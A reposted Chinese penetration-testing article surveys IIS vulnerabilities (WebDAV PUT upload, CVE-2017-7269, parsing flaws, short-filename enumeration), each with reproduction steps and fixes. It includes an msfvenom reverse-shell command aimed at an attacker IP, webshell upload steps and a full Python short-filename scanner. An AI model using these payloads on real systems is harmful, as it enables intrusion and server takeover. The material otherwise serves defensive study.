Web中间件漏洞总结——IIS篇

news2024/11/22 9:32:19

0x01 前言

渗透过程中会遇到各种中间件,某些中间件版本存在远程执行、任意文件上传等漏洞。本文对IIS相关漏洞进行整理,方便我们在渗透过程中快速查阅IIS漏洞。文章粗略浅显,适合刚入行的新手观看。

0x02 目录

IIS6.0 PUT漏洞
IIS6.0 远程代码执行漏洞 CVE-2017-7269
IIS6.0 解析漏洞
IIS7.0/7.5 解析漏洞
IIS短文件名漏洞

IIS对应windows系统版本:
Windows Server 2000 —— IIS 5.0
Windows XP SP1 —— IIS 5.1
Windows XP SP2,SP3 —— IIS 5.1
Windows Server 2003,XP porfessional —— IIS 6.0
Windows Vista Ultimate —— IIS 7.0
Windows 7 —— IIS 7,IIS 7.5
Windows Server 2008 SP2,SP3 —— IIS 7.0
Windows Server 2008 R2,部分Windows 7 —— IIS 7.5
Windows Server 2008 SP2,SP3 —— IIS 7.0
Windows Server 2012,Windows 8 —— IIS 8.0
Windows Server 2012 R2 —— IIS 8.5
windows Server 2016,Windows10 —— IIS 10

0x03 IIS6.0 PUT漏洞

漏洞原理

IIS6.0 server在web服务扩展中开启了WebDAV(Web-based Distributed Authoring and Versioning)。WebDAV是一种HTTP1.1的扩展协议。它扩展了HTTP 1.1,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法,如PUT,使应用程序可对Web Server直接读写,并支持写文件锁定(Locking)及解锁(Unlock),还可以支持文件的版本控制。可以像在操作本地文件夹一样操作服务器上的文件夹,该扩展也存在缺陷,利用PUT方法可直接向服务器上传恶意文件,控制服务器。

环境搭建

windows server 2003 安装IIS6.0:

开启WebDAV服务:

网站目录允许来宾用户写入:

漏洞复现

这里我们使用IISPutScanner工具进行复现。

首先使用工具扫描目标地址:

发现存在IIS6.0 PUT漏洞,右键选择上传文件:
 

数据包格式选择PUT,选择asp一句话木马,点击提交数据包:

然后数据包格式选择MOVE,再次点击提交数据包,此时可得到webshell路径:

使用菜刀连接我们的webshell:

成功获得服务器权限。

修复方案

  • 关闭WebDAV服务扩展
  • 关闭IIS来宾用户写入权限

0x04 IIS6.0 远程代码执行漏洞 CVE-2017-7269

漏洞原理

在Windows Server 2003的IIS6.0的WebDAV服务的ScStoragePathFromUrl函数存在缓存区溢出漏洞,攻击者通过一个以"If: <http://"开始的较长header头的PROPFIND请求执行任意代码,控制目标主机。

环境搭建

IIS6.0开启WebDAV服务扩展:

漏洞复现

使用IISPutScanner工具扫描目标地址:

发现目标存在WebDAV远程代码执行漏洞,使用网上公开的利用工具复现漏洞:
 

生成bin文件:

<span style="color:#7f8c93"><span style="background-color:#ffffff"><code class="language-bash">msfvenom -p windows/shell_reverse_tcp LHOST=192.168.157.133 LPORT=8077 EXITFUNC=thread PrependMigrate=<span style="color:#a31515">true</span> PrependMigrateProc=rundll32.exe >iis
</code></span></span>

反弹shell:

此漏洞成功利用后会导致IIS服务崩溃,反弹shell提升为管理员权限后务必重启IIS服务。

批量检测脚本:
https://github.com/admintony/Windows-Exploit/tree/master/IIS6_WebDAV_Scanner

修复方案

  • 关闭WebDAV服务扩展

0x05 IIS6.0 解析漏洞

漏洞原理

基于文件名
IIS6.0默认不解析;号后面的内容,例如1.asp;.jpg会当成1.asp解析,相当于分号截断。

基于文件夹
IIS6.0会将/*.asp/文件夹下的文件当成asp解析。

修复方案

由于微软并不认为这是一个漏洞,也没有推出相关的修复补丁,因此我们需要自己设置:

  • 取消网站目录脚本执行权限:

  • 禁止创建文件夹

  • 重命名上传文件为时间戳+.jpg或随机数+.jpg

0x06 IIS7.0/7.5 解析漏洞

漏洞原理

IIS7.*在FastCGI运行php的情况下,php默认配置cgi.fix_pathinfo=1,导致在任意文件后面添加/.php,服务器就会解析成php。

环境搭建

在windows server 2008 R2系统中打开服务器管理器,点击添加角色,添加web服务IIS,勾选如下选项,点击下一步并安装:

等待片刻后,IIS7.5安装完成:

下载php安装包php-5.3.9-Win32-VC9-x86.msi,安装php。

下载地址:windows.php.net - /downloads/releases/archives/

在Web Server Setup步骤中选择IIS FastCGI

来到IIS7.5,点击ISAPI和CGI限制,添加php-cgi.exe安装路径:
 

返回,点击处理程序映射,添加脚本映射,配置如下:
 

此时环境配置完成,phpinfo测试:

漏洞复现

访问.jpg文件:
 


利用解析漏洞:

修复方案

  • cgi.fix_pathinfo设置为0并重启php-cgi程序

0x07 IIS短文件名漏洞

漏洞原理

为了兼容16位MS-DOS程序,Windows为文件名较长的文件(和文件夹)生成了对应的windows 8.3 短文件名。
使用命令dir /x可以看到短文件名的效果:

观察执行结果可以发现,短文件名如下特征:

  • 只有6位显示,后续字符用~1代替。
  • 后缀名称只显示3位。

我们可以对启用.net的IIS暴力猜解短文件名,原因是:
1.访问某个存在的短文件名,返回404:

2.访问某个不存在的短文件名,返回400:

漏洞复现

使用网上公开的利用脚本暴力猜解短文件名:

脚本代码:

<span style="color:#7f8c93"><span style="background-color:#ffffff"><code class="language-python"><span style="color:#008000">#!/usr/bin/env python</span>
<span style="color:#008000"># encoding:utf-8</span>
<span style="color:#008000"># An IIS short_name scanner   my[at]lijiejie.com  http://www.lijiejie.com    </span>

<span style="color:#0000ff">import</span> sys
<span style="color:#0000ff">import</span> httplib
<span style="color:#0000ff">import</span> urlparse
<span style="color:#0000ff">import</span> threading
<span style="color:#0000ff">import</span> Queue
<span style="color:#0000ff">import</span> time

<span style="color:#0000ff">class</span> <span style="color:#a31515">Scanner</span>():
    <span style="color:#0000ff">def</span> <span style="color:#a31515">__init__</span>(self, target):
        self.target = target.lower()
        <span style="color:#0000ff">if</span> <span style="color:#0000ff">not</span> self.target.startswith(<span style="color:#a31515">'http'</span>):
            self.target = <span style="color:#a31515">'http://%s'</span> % self.target
        self.scheme, self.netloc, self.path, params, query, fragment = \
                     urlparse.urlparse(target)
        <span style="color:#0000ff">if</span> self.path[-<span style="color:#880000">1</span>:] != <span style="color:#a31515">'/'</span>:    <span style="color:#008000"># ends with slash</span>
            self.path += <span style="color:#a31515">'/'</span>
        self.alphanum = <span style="color:#a31515">'abcdefghijklmnopqrstuvwxyz0123456789_-'</span>
        self.files = []
        self.dirs = []
        self.queue = Queue.Queue()
        self.lock = threading.Lock()
        self.threads = []
        self.request_method = <span style="color:#a31515">''</span>
        self.msg_queue = Queue.Queue()
        self.STOP_ME = <span style="color:#a31515">False</span>
        threading.Thread(target=self._<span style="color:#0000ff">print</span>).start()

    <span style="color:#0000ff">def</span> <span style="color:#a31515">_conn</span>(self):
        <span style="color:#0000ff">try</span>:
            <span style="color:#0000ff">if</span> self.scheme == <span style="color:#a31515">'https'</span>:
                conn = httplib.HTTPSConnection(self.netloc)
            <span style="color:#0000ff">else</span>:
                conn = httplib.HTTPConnection(self.netloc)
            <span style="color:#0000ff">return</span> conn
        <span style="color:#0000ff">except</span> Exception, e:
            <span style="color:#0000ff">print</span> <span style="color:#a31515">'[_conn.Exception]'</span>, e
            <span style="color:#0000ff">return</span> <span style="color:#a31515">None</span>

    <span style="color:#0000ff">def</span> <span style="color:#a31515">_get_status</span>(self, path):
        <span style="color:#0000ff">try</span>:
            conn = self._conn()
            conn.request(self.request_method, path)
            status = conn.getresponse().status
            conn.close()
            <span style="color:#0000ff">return</span> status
        <span style="color:#0000ff">except</span> Exception, e:
            <span style="color:#0000ff">raise</span> Exception(<span style="color:#a31515">'[_get_status.Exception] %s'</span> % <span style="color:#0000ff">str</span>(e) )

    <span style="color:#0000ff">def</span> <span style="color:#a31515">is_vul</span>(self):
        <span style="color:#0000ff">try</span>:
            <span style="color:#0000ff">for</span> _method <span style="color:#0000ff">in</span> [<span style="color:#a31515">'GET'</span>, <span style="color:#a31515">'OPTIONS'</span>]:
                self.request_method = _method
                status_1 = self._get_status(self.path + <span style="color:#a31515">'/*~1*/a.aspx'</span>)    <span style="color:#008000"># an existed file/folder</span>
                status_2 = self._get_status(self.path + <span style="color:#a31515">'/l1j1e*~1*/a.aspx'</span>)    <span style="color:#008000"># not existed file/folder</span>
                <span style="color:#0000ff">if</span> status_1 == <span style="color:#880000">404</span> <span style="color:#0000ff">and</span> status_2 != <span style="color:#880000">404</span>:
                    <span style="color:#0000ff">return</span> <span style="color:#a31515">True</span>
            <span style="color:#0000ff">return</span>  <span style="color:#a31515">False</span>
        <span style="color:#0000ff">except</span> Exception, e:
            <span style="color:#0000ff">raise</span> Exception(<span style="color:#a31515">'[is_vul.Exception] %s'</span> % <span style="color:#0000ff">str</span>(e) )

    <span style="color:#0000ff">def</span> <span style="color:#a31515">run</span>(self):
        <span style="color:#0000ff">for</span> c <span style="color:#0000ff">in</span> self.alphanum:
            self.queue.put( (self.path + c, <span style="color:#a31515">'.*'</span>) )    <span style="color:#008000"># filename, extension</span>
        <span style="color:#0000ff">for</span> i <span style="color:#0000ff">in</span> <span style="color:#0000ff">range</span>(<span style="color:#880000">20</span>):
            t = threading.Thread(target=self._scan_worker)
            self.threads.append(t)
            t.start()
        <span style="color:#0000ff">for</span> t <span style="color:#0000ff">in</span> self.threads:
            t.join()
        self.STOP_ME = <span style="color:#a31515">True</span>

    <span style="color:#0000ff">def</span> <span style="color:#a31515">report</span>(self):
        <span style="color:#0000ff">print</span> <span style="color:#a31515">'-'</span>* <span style="color:#880000">64</span>
        <span style="color:#0000ff">for</span> d <span style="color:#0000ff">in</span> self.dirs:
            <span style="color:#0000ff">print</span> <span style="color:#a31515">'Dir:  %s'</span> % d
        <span style="color:#0000ff">for</span> f <span style="color:#0000ff">in</span> self.files:
            <span style="color:#0000ff">print</span> <span style="color:#a31515">'File: %s'</span> % f
        <span style="color:#0000ff">print</span> <span style="color:#a31515">'-'</span>*<span style="color:#880000">64</span>
        <span style="color:#0000ff">print</span> <span style="color:#a31515">'%d Directories, %d Files found in total'</span> % (<span style="color:#0000ff">len</span>(self.dirs), <span style="color:#0000ff">len</span>(self.files))
        <span style="color:#0000ff">print</span> <span style="color:#a31515">'Note that * is a wildcard, matches any character zero or more times.'</span>

    <span style="color:#0000ff">def</span> <span style="color:#a31515">_print</span>(self):
        <span style="color:#0000ff">while</span> <span style="color:#0000ff">not</span> self.STOP_ME <span style="color:#0000ff">or</span> (<span style="color:#0000ff">not</span> self.msg_queue.empty()):
            <span style="color:#0000ff">if</span> self.msg_queue.empty():
                time.sleep(<span style="color:#880000">0.05</span>)
            <span style="color:#0000ff">else</span>:
                <span style="color:#0000ff">print</span> self.msg_queue.get()

    <span style="color:#0000ff">def</span> <span style="color:#a31515">_scan_worker</span>(self):
        <span style="color:#0000ff">while</span> <span style="color:#a31515">True</span>:
            <span style="color:#0000ff">try</span>:
                url, ext = self.queue.get(timeout=<span style="color:#880000">1.0</span>)
                status = self._get_status(url + <span style="color:#a31515">'*~1'</span> + ext + <span style="color:#a31515">'/1.aspx'</span>)
                <span style="color:#0000ff">if</span> status == <span style="color:#880000">404</span>:
                    self.msg_queue.put(<span style="color:#a31515">'[+] %s~1%s\t[scan in progress]'</span> % (url, ext))

                    <span style="color:#0000ff">if</span> <span style="color:#0000ff">len</span>(url) - <span style="color:#0000ff">len</span>(self.path)< <span style="color:#880000">6</span>:    <span style="color:#008000"># enum first 6 chars only</span>
                        <span style="color:#0000ff">for</span> c <span style="color:#0000ff">in</span> self.alphanum:
                            self.queue.put( (url + c, ext) )
                    <span style="color:#0000ff">else</span>:
                        <span style="color:#0000ff">if</span> ext == <span style="color:#a31515">'.*'</span>:
                            self.queue.put( (url, <span style="color:#a31515">''</span>) )

                        <span style="color:#0000ff">if</span> ext == <span style="color:#a31515">''</span>:
                            self.dirs.append(url + <span style="color:#a31515">'~1'</span>)
                            self.msg_queue.put(<span style="color:#a31515">'[+] Directory '</span> +  url + <span style="color:#a31515">'~1\t[Done]'</span>)

                        <span style="color:#0000ff">elif</span> <span style="color:#0000ff">len</span>(ext) == <span style="color:#880000">5</span> <span style="color:#0000ff">or</span> (<span style="color:#0000ff">not</span> ext.endswith(<span style="color:#a31515">'*'</span>)):    <span style="color:#008000"># .asp*</span>
                            self.files.append(url + <span style="color:#a31515">'~1'</span> + ext)
                            self.msg_queue.put(<span style="color:#a31515">'[+] File '</span> + url + <span style="color:#a31515">'~1'</span> + ext + <span style="color:#a31515">'\t[Done]'</span>)

                        <span style="color:#0000ff">else</span>:
                            <span style="color:#0000ff">for</span> c <span style="color:#0000ff">in</span> <span style="color:#a31515">'abcdefghijklmnopqrstuvwxyz0123456789'</span>:
                                self.queue.put( (url, ext[:-<span style="color:#880000">1</span>] + c + <span style="color:#a31515">'*'</span>) )
                                <span style="color:#0000ff">if</span> <span style="color:#0000ff">len</span>(ext) < <span style="color:#880000">4</span>:    <span style="color:#008000"># < len('.as*')</span>
                                    self.queue.put( (url, ext[:-<span style="color:#880000">1</span>] + c) )

            <span style="color:#0000ff">except</span> Queue.Empty,e:
                <span style="color:#0000ff">break</span>
            <span style="color:#0000ff">except</span> Exception, e:
                <span style="color:#0000ff">print</span> <span style="color:#a31515">'[Exception]'</span>, e


<span style="color:#0000ff">if</span> __name__ == <span style="color:#a31515">'__main__'</span>:
    <span style="color:#0000ff">if</span> <span style="color:#0000ff">len</span>(sys.argv) == <span style="color:#880000">1</span>:
        <span style="color:#0000ff">print</span> <span style="color:#a31515">'Usage: python IIS_shortname_Scan.py http://www.target.com/'</span>
        sys.exit()

    target = sys.argv[<span style="color:#880000">1</span>]
    s = Scanner(target)
    <span style="color:#0000ff">if</span> <span style="color:#0000ff">not</span> s.is_vul():
        s.STOP_ME = <span style="color:#a31515">True</span>
        <span style="color:#0000ff">print</span> <span style="color:#a31515">'Server is not vulnerable'</span>
        sys.exit(<span style="color:#880000">0</span>)

    <span style="color:#0000ff">print</span> <span style="color:#a31515">'Server is vulnerable, please wait, scanning...'</span>
    s.run()
    s.report()
</code></span></span>

修复方案

  • 升级.net framework到4.0以上版本
  • 关闭NTFS 8.3文件格式的支持(默认开启)
    1.修改注册表键值:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem,修改NtfsDisable8dot3NameCreation为1,并重启系统。
    2.windows server 2003命令行执行fsutil behavior set disable8dot3 1(1表示关闭,0表示开启)
    windows server 2008命令行执行fsutil 8dot3name set 1
    不同系统关闭命令稍有区别

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2245240.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

关于中断向量表中没有EXTIx_IRQHandler的问题

如果你在中断向量表查找中断向量服务函数时&#xff0c;没有查找到EXTI7_IRQHandler等&#xff0c;是因为中断向量中根本就没有这个函数。 STM32 的中断向量表通常由启动文件&#xff08;如 startup_stm32f1xx.s&#xff09;定义。在该文件中&#xff0c;所有的中断服务例程&a…

idea启动服务报错Application run failed

现象是这样&#xff0c;在宝兰德部署报错&#xff1a; NoClassDefFoundError: org/apache/tomcat/util/codec/binary/Base64 本地启动报错&#xff1a;Application run failed:Failed to parse configuration class [***.WebApplication]; nested exception is java.lang.Illeg…

Easyexcel(4-模板文件)

相关文章链接 Easyexcel&#xff08;1-注解使用&#xff09;Easyexcel&#xff08;2-文件读取&#xff09;Easyexcel&#xff08;3-文件导出&#xff09;Easyexcel&#xff08;4-模板文件&#xff09; 文件导出 获取 resources 目录下的文件&#xff0c;使用 withTemplate 获…

神经网络问题之:梯度不稳定

梯度不稳定是深度学习中&#xff0c;特别是在训练深度神经网络时常见的一个问题&#xff0c;其本质涉及多个方面。 一、根本原因 梯度不稳定问题的根本原因在于深度神经网络的结构和训练过程中的一些固有特性。随着网络层数的增加&#xff0c;梯度在反向传播过程中会逐层累积变…

动态规划子数组系列一>等差数列划分

题目&#xff1a; 解析&#xff1a; 代码&#xff1a; public int numberOfArithmeticSlices(int[] nums) {int n nums.length;int[] dp new int[n];int ret 0;for(int i 2; i < n; i){dp[i] nums[i] - nums[i-1] nums[i-1] - nums[i-2] ? dp[i-1]1 : 0;ret dp[i…

RedHat系统配置静态IP

1、执行nmtui命令进入字符配置界面如下图所示 2、选择编辑连接进入 3、选择编辑进入后&#xff0c;将IPv4设置为手动模式后&#xff0c;选择显示后进行ip地址、网关、DNS的配置&#xff0c;配置完成后选择确定退出编辑 4、进入主界面后选择启用连接进入后&#xff0c;选择启用&…

batchnorm与layernorn的区别

1 原理 简单总结&#xff1a; batchnorn 和layernorm是在不同维度上对特征进行归一化处理。 batchnorm在batch这一维度上&#xff0c; 对一个batch内部所有样本&#xff0c; 在同一个特征通道上进行归一化。 举个例子&#xff0c; 假设输入的特征图尺寸为16x224x224x256&…

【Redis】持久化机制RDB与AOF

一、RDB RDB模式是就是将内存中的数据存储到磁盘中&#xff0c;等到连接断开的时候会进行持久化操作。但是如果服务器宕机&#xff0c;会导致这个持久化机制不会执行&#xff0c;但是内存中的文件会直接丢失。所以可以设置一个触发机制&#xff0c;save 60 1000 就是代表60秒 执…

JSON,事件绑定

文章目录 JSON事件绑定输入框input和div的内容返回获取dom元素数组还是单个对象for循环为什么要写const那一行&#xff0c;直接写 hobbys[index].checked true;可以吗const不是常量吗&#xff0c;为什么用const声明的element的属性值可以改变&#xff1f; 黑马学习笔记 JSON 定…

Kotlin Multiplatform 未来将采用基于 JetBrains Fleet 定制的独立 IDE

近期 Jetbrains 可以说是动作不断&#xff0c;我们刚介绍了 IntelliJ IDEA 2024.3 K2 模式发布了稳定版支持 &#xff0c;而在官方最近刚调整过的 Kotlin Multiplatform Roadmap 优先关键事项里&#xff0c;可以看到其中就包含了「独立的 Kotlin Multiplatform IDE&#xff0c;…

并行优化策略

并行优化策略汇总 并行优化策略 数据并行&#xff08;DP&#xff09; 将数据集分散到m个设备中&#xff0c;进行训练。得到训练数据后在进行allreduce操作。确保每个worker都有相同模型参数。 整体流程如下 若干块计算GPU&#xff0c;如图中GPU0~GPU2&#xff1b;1块梯度收集…

解决 Android 单元测试 No tests found for given includes:

问题 报错&#xff1a; Execution failed for task :testDebugUnitTest. > No tests found for given includes: 解决方案 1、一开始以为是没有给测试类加public修饰 2、然后替换 Test 注解的包可以解决&#xff0c;将 org.junit.jupiter.api.Test 修改为 org.junit.Tes…

知识见闻 - 数学: 均方根 Root Mean Square

What is Root Mean Square (RMS)? 在统计学上&#xff0c;均方根&#xff08;RMS&#xff09;是均方的平方根&#xff0c;而均方是一组数值的平方的算术平均数。均方根也称为二次均值&#xff0c;是指数为 2 的广义均值的一种特例。均方根也被定义为基于一个周期内瞬时值的平方…

寻找用户推荐人(考点:ifnull)【SQL+Pandas】

今天尝试刷一下力扣的sql面试题&#xff0c;这个写法我也是第一次见 题目是 我们需要在这个表中查出referee_id&#xff01;2的 正确写法是 select name from customer where ifnull(referee_id,0) ! 2 -- 不等于还可以这么写&#xff1a;<>

Java Database Connectivity (JDBC + Servlet)

Java Database Connectivity (JDBC)是一个Java API&#xff0c;用于与数据库进行连接和操作。通过JDBC&#xff0c;Java程序可以与各种关系型数据库进行通信&#xff0c;执行SQL查询、更新数据等操作。 一、Java连接数据库两种方式 ​​​​​ ​​ 二、Java中…

【Python爬虫实战】深入解析 Scrapy 爬虫框架:高效抓取与实战搭建全指南

&#x1f308;个人主页&#xff1a;易辰君-CSDN博客 &#x1f525; 系列专栏&#xff1a;https://blog.csdn.net/2401_86688088/category_12797772.html ​ 目录 前言 一、Srapy简介 &#xff08;一&#xff09;什么是Srapy &#xff08;二&#xff09;Scrapy 的设计目标 …

编程之路,从0开始:动态内存管理

Hello&#xff0c;大家好&#xff01;很高兴我们又见面啦&#xff01;给生活添点passion&#xff0c;开始今天的编程之路。 我们今天来学习C语言中的动态内存管理。 目录 1、为什么要有动态内存管理&#xff1f; 2、malloc和free &#xff08;1&#xff09;malloc函数 &…

初始Python篇(4)—— 元组、字典

找往期文章包括但不限于本期文章中不懂的知识点&#xff1a; 个人主页&#xff1a;我要学编程(ಥ_ಥ)-CSDN博客 所属专栏&#xff1a; Python 目录 元组 相关概念 元组的创建与删除 元组的遍历 元组生成式 字典 相关概念 字典的创建与删除 字典的遍历与访问 字典…

d3-ease 的各种方法和示例

D3.js中的d3-ease模块提供了多种缓动函数&#xff0c;用于实现平滑的动画过渡效果。这些缓动函数通过扭曲时间控制动画中运动的方法&#xff0c;使得动画更加自然和流畅。以下是D3中常见的一些ease方法和示例代码&#xff1a; 线性缓动&#xff08;linear&#xff09;&#xff…

HTML5拖拽API学习 托拽排序和可托拽课程表

文章目录 前言拖拽API核心概念拖拽式使用流程例子注意事项综合例子&#x1f330; 可拖拽课程表拖拽排序 前言 前端拖拽功能让网页元素可以通过鼠标或触摸操作移动。HTML5 提供了标准的拖拽API&#xff0c;简化了拖放操作的实现。以下是拖拽API的基本使用指南&#xff1a; 拖拽…